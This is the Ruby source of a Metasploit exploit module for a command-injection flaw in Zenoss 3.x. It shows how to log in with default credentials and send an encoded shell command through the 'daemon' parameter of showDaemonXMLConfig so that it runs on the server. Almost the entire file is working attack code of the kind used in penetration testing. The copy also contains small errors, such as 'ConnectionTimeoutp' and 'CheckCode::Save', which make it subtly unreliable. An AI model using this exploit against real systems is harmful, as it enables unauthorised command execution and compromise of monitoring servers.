metasploit-framework/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_...

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Zenoss 3 showDaemonXMLConfig Command Execution',
'Description' => %q{
This module exploits a command execution vulnerability in Zenoss 3.x
which could be abused to allow authenticated users to execute arbitrary
code under the context of the 'zenoss' user. The show_daemon_xml_configs()
function in the 'ZenossInfo.py' script calls Popen() with user
controlled data from the 'daemon' parameter.
},
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'],
['OSVDB', '84408']
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#['CVE', 'None'],
],
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python perl',
},
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},
'Targets' =>
[
[
'Automatic Targeting', { 'auto' => true }
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 30 2012'
))
register_options([
Opt::RPORT(8080),
OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']),
OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss'])
])
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end
def check
# retrieve software version from login page
begin
res = send_request_raw({
'method' => "GET",
'uri' => "/zport/acl_users/cookieAuthHelper/login_form"
})
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return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
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return Exploit::CheckCode::Detected if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
vprint_error("Connection failed")
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return Exploit::CheckCode::Unknown
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end
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return Exploit::CheckCode::Save
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end
def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
command = URI.encode(payload.encoded)+"%26"
postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}"
# send payload
print_status("Sending payload to Zenoss (#{command.length.to_s} bytes)")
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begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/zport/About/showDaemonXMLConfig",
'data' => "#{postdata}",
})
if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
print_error("Authentication failed. Incorrect username/password.")
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return
end
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print_good("Sent payload successfully")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
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rescue
print_error("Sending payload failed")
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end
handler
end
end